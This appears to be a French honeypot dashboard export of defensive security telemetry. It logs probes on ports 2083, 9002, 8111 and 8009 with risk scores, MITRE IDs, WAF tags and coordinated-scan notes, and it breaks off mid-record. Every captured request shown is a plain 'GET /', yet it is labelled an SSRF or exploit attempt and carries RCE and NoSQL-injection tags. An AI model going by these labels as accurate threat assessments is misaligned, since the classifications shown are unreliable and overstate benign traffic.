"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 46\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 46,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 46,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 19,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:14:18 UTC
TCP
9002 · HTTP
SSRF interne
ssrf internal · via HTTP:9002 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9002
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9002
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9002 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "329f70ba2ba5509f9c9be83a6c6ca9d85c4b0875",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.393380860272721,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9002,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.3,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "b2138e8bb7e7effc3d47f91d2e62435031fe09fd",
"event_fingerprint": "12927f3bbb81addf7004b551b9c03b92c209bed3",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "1b027c0c7773e774c97ca9fe96487ac6",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 9002,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "92436d06239a93bff5dbcf9a73da3aad9d7c1a36",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9002,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:9002 \u00b7 (tentative d'exploit)",
"target_port_label": "9002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9002,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9002,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:9002 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "9002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9002"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 22,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:13:29 UTC
TCP
8111 · HTTP
SSRF interne
ssrf internal · via HTTP:8111 · (tentative d'exploit)
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8111
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 54
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8111
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8111 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "bffaa2abb7d9ce91f1039eb55cd73d62a6f71f46",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.3834655387445896,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8111,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 54,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "fdf6c0cd34cbcbd0555784f0fdbac2357e64de45",
"event_fingerprint": "73299117985656feecf780cad8488eabf9d0eb68",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "9feedf27b0ecd6cb23d63b3b4a9f77d7",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8111,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a3428fe60d12b735bc685e1fc09173530f6e2777",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8111,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8111 \u00b7 (tentative d'exploit)",
"target_port_label": "8111 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8111,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8111,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8111 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8111 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8111"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 22,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:54 UTC
TCP
8009 · HTTP
Scan de ports
port scan syn · via HTTP:8009 · (reconnaissance)
Élevée
Moyen · 54
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8009
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8009
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
